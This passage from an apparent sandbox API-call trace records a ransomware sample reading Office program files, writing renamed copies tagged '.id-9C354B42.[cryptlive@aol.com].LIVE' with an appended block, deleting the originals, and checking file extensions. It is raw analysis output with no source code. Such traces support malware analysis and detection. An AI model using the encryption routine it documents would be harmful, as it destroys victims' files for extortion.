nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0151.136] SetEndOfFile (hFile=0x3d4) returned 1 [0151.136] CloseHandle (hObject=0x3d4) returned 1 [0151.136] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.136] SetEndOfFile (hFile=0x3c8) returned 1 [0151.140] CloseHandle (hObject=0x3c8) returned 1 [0151.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr")) returned 1 [0151.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0151.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0151.141] lstrlenW (lpString=".doc") returned 4 [0151.141] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.141] lstrlenW (lpString=".docx") returned 5 [0151.141] lstrcmpiW (lpString1=".docx", lpString2="4.BDR") returned -1 [0151.141] lstrlenW (lpString=".pdf") returned 4 [0151.141] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.141] lstrlenW (lpString=".xls") returned 4 [0151.141] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.141] lstrlenW (lpString=".xlsx") returned 5 [0151.141] lstrcmpiW (lpString1=".xlsx", lpString2="4.BDR") returned -1 [0151.141] lstrlenW (lpString=".ppt") returned 4 [0151.141] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0151.141] lstrlenW (lpString=".zip") returned 4 [0151.141] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.141] lstrlenW (lpString=".rar") returned 4 [0151.141] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.141] lstrlenW (lpString=".bz2") returned 4 [0151.141] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.141] lstrlenW (lpString=".7z") returned 3 [0151.141] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0151.142] lstrlenW (lpString=".dbf") returned 4 [0151.142] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0151.142] lstrlenW (lpString=".1cd") returned 4 [0151.142] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0151.142] lstrlenW (lpString=".jpg") returned 4 [0151.142] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0151.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0151.142] lstrlenW (lpString=".doc") returned 4 [0151.142] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.142] lstrlenW (lpString=".docx") returned 5 [0151.142] lstrcmpiW (lpString1=".docx", lpString2="4.BDR") returned -1 [0151.142] lstrlenW (lpString=".pdf") returned 4 [0151.142] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.142] lstrlenW (lpString=".xls") returned 4 [0151.142] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.142] lstrlenW (lpString=".xlsx") returned 5 [0151.142] lstrcmpiW (lpString1=".xlsx", lpString2="4.BDR") returned -1 [0151.142] lstrlenW (lpString=".ppt") returned 4 [0151.142] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0151.142] lstrlenW (lpString=".zip") returned 4 [0151.142] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.142] lstrlenW (lpString=".rar") returned 4 [0151.142] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.142] lstrlenW (lpString=".bz2") returned 4 [0151.142] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.142] lstrlenW (lpString=".7z") returned 3 [0151.142] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0151.142] lstrlenW (lpString=".dbf") returned 4 [0151.142] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0151.143] lstrlenW (lpString=".1cd") returned 4 [0151.143] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0151.143] lstrlenW (lpString=".jpg") returned 4 [0151.143] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.143] lstrcmpiW (lpString1=".BDR", lpString2=".LIVE") returned -1 [0151.143] lstrlenW (lpString="MSART3.BDR") returned 10 [0151.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0151.453] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=57646) returned 1 [0151.453] CloseHandle (hObject=0x1b0) returned 1 [0151.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr")) returned 0x20 [0151.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0151.507] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.507] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0151.510] GetLastError () returned 0x0 [0151.510] ReadFile (in: hFile=0x1b0, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xe12e, lpOverlapped=0x0) returned 1 [0151.576] WriteFile (in: hFile=0x1b4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe130, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe130, lpOverlapped=0x0) returned 1 [0151.578] ReadFile (in: hFile=0x1b0, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.578] WriteFile (in: hFile=0x1b4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0151.578] SetEndOfFile (hFile=0x1b4) returned 1 [0151.578] CloseHandle (hObject=0x1b4) returned 1 [0151.578] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.578] SetEndOfFile (hFile=0x1b0) returned 1 [0151.582] CloseHandle (hObject=0x1b0) returned 1 [0151.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr")) returned 1 [0151.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0151.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0151.583] lstrlenW (lpString=".doc") returned 4 [0151.583] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.583] lstrlenW (lpString=".docx") returned 5 [0151.583] lstrcmpiW (lpString1=".docx", lpString2="3.BDR") returned -1 [0151.583] lstrlenW (lpString=".pdf") returned 4 [0151.583] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.583] lstrlenW (lpString=".xls") returned 4 [0151.583] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.583] lstrlenW (lpString=".xlsx") returned 5 [0151.583] lstrcmpiW (lpString1=".xlsx", lpString2="3.BDR") returned -1 [0151.583] lstrlenW (lpString=".ppt") returned 4 [0151.583] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0151.583] lstrlenW (lpString=".zip") returned 4 [0151.583] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.583] lstrlenW (lpString=".rar") returned 4 [0151.583] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.583] lstrlenW (lpString=".bz2") returned 4 [0151.583] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.583] lstrlenW (lpString=".7z") returned 3 [0151.583] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0151.583] lstrlenW (lpString=".dbf") returned 4 [0151.583] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0151.583] lstrlenW (lpString=".1cd") returned 4 [0151.583] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0151.583] lstrlenW (lpString=".jpg") returned 4 [0151.583] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0151.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0151.583] lstrlenW (lpString=".doc") returned 4 [0151.584] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.584] lstrlenW (lpString=".docx") returned 5 [0151.584] lstrcmpiW (lpString1=".docx", lpString2="3.BDR") returned -1 [0151.584] lstrlenW (lpString=".pdf") returned 4 [0151.584] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.584] lstrlenW (lpString=".xls") returned 4 [0151.584] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.584] lstrlenW (lpString=".xlsx") returned 5 [0151.584] lstrcmpiW (lpString1=".xlsx", lpString2="3.BDR") returned -1 [0151.584] lstrlenW (lpString=".ppt") returned 4 [0151.584] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0151.584] lstrlenW (lpString=".zip") returned 4 [0151.584] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.584] lstrlenW (lpString=".rar") returned 4 [0151.584] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.584] lstrlenW (lpString=".bz2") returned 4 [0151.584] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.584] lstrlenW (lpString=".7z") returned 3 [0151.584] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0151.584] lstrlenW (lpString=".dbf") returned 4 [0151.584] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0151.584] lstrlenW (lpString=".1cd") returned 4 [0151.584] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0151.584] lstrlenW (lpString=".jpg") returned 4 [0151.584] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.584] lstrcmpiW (lpString1=".BDR", lpString2=".LIVE") returned -1 [0151.584] lstrlenW (lpString="MSART7.BDR") returned 10 [0151.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0151.585] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3876) returned 1 [0151.585] CloseHandle (hObject=0x1b0) returned 1 [0151.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr")) returned 0x20 [0151.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0151.585] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.586] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0151.586] GetLastError () returned 0x0 [0151.586] ReadFile (in: hFile=0x1b0, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xf24, lpOverlapped=0x0) returned 1 [0151.937] WriteFile (in: hFile=0x1b4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf30, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf30, lpOverlapped=0x0) returned 1 [0151.938] ReadFile (in: hFile=0x1b0, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.938] WriteFile (in: hFile=0x1b4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0151.939] SetEndOfFile (hFile=0x1b4) returned 1 [0152.005] CloseHandle (hObject=0x1b4) returned 1 [0152.005] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.005] SetEndOfFile (hFile=0x1b0) returned 1 [0152.007] CloseHandle (hObject=0x1b0) returned 1 [0152.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.010] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr")) returned 1 [0152.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0152.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0152.011] lstrlenW (lpString=".doc") returned 4 [0152.011] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0152.011] lstrlenW (lpString=".docx") returned 5 [0152.011] lstrcmpiW (lpString1=".docx", lpString2="7.BDR") returned -1 [0152.011] lstrlenW (lpString=".pdf") returned 4 [0152.011] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0152.011] lstrlenW (lpString=".xls") returned 4 [0152.011] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0152.011] lstrlenW (lpString=".xlsx") returned 5 [0152.011] lstrcmpiW (lpString1=".xlsx", lpString2="7.BDR") returned -1 [0152.011] lstrlenW (lpString=".ppt") returned 4 [0152.011] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0152.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0152.012] lstrlenW (lpString=".zip") returned 4 [0152.012] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0152.012] lstrlenW (lpString=".rar") returned 4 [0152.012] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0152.012] lstrlenW (lpString=".bz2") returned 4 [0152.012] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0152.012] lstrlenW (lpString=".7z") returned 3 [0152.012] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0152.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0152.012] lstrlenW (lpString=".dbf") returned 4 [0152.012] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0152.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0152.012] lstrlenW (lpString=".1cd") returned 4 [0152.012] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0152.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0152.012] lstrlenW (lpString=".jpg") returned 4 [0152.012] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0152.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0152.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0152.012] lstrlenW (lpString=".doc") returned 4 [0152.012] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0152.012] lstrlenW (lpString=".docx") returned 5 [0152.012] lstrcmpiW (lpString1=".docx", lpString2="7.BDR") returned -1 [0152.012] lstrlenW (lpString=".pdf") returned 4 [0152.012] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0152.012] lstrlenW (lpString=".xls") returned 4 [0152.012] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0152.012] lstrlenW (lpString=".xlsx") returned 5 [0152.012] lstrcmpiW (lpString1=".xlsx", lpString2="7.BDR") returned -1 [0152.012] lstrlenW (lpString=".ppt") returned 4 [0152.012] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0152.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0152.013] lstrlenW (lpString=".zip") returned 4 [0152.013] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0152.013] lstrlenW (lpString=".rar") returned 4 [0152.013] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0152.013] lstrlenW (lpString=".bz2") returned 4 [0152.013] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0152.013] lstrlenW (lpString=".7z") returned 3 [0152.013] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0152.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0152.013] lstrlenW (lpString=".dbf") returned 4 [0152.013] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0152.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0152.013] lstrlenW (lpString=".1cd") returned 4 [0152.013] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0152.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0152.013] lstrlenW (lpString=".jpg") returned 4 [0152.013] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0152.013] lstrcmpiW (lpString1=".FAE", lpString2=".LIVE") returned -1 [0152.013] lstrlenW (lpString="OLADDR.FAE") returned 10 [0152.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0152.283] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=13744) returned 1 [0152.283] CloseHandle (hObject=0x1f8) returned 1 [0152.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae")) returned 0x20 [0152.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0152.604] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.604] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0152.605] GetLastError () returned 0x0 [0152.605] ReadFile (in: hFile=0x1e0, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x35b0, lpOverlapped=0x0) returned 1 [0152.643] WriteFile (in: hFile=0x38c, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x35c0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x35c0, lpOverlapped=0x0) returned 1 [0152.644] ReadFile (in: hFile=0x1e0, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.644] WriteFile (in: hFile=0x38c, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0152.644] SetEndOfFile (hFile=0x38c) returned 1 [0152.645] CloseHandle (hObject=0x38c) returned 1 [0152.645] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.645] SetEndOfFile (hFile=0x1e0) returned 1 [0152.647] CloseHandle (hObject=0x1e0) returned 1 [0152.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.689] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae")) returned 1 [0152.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0152.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") 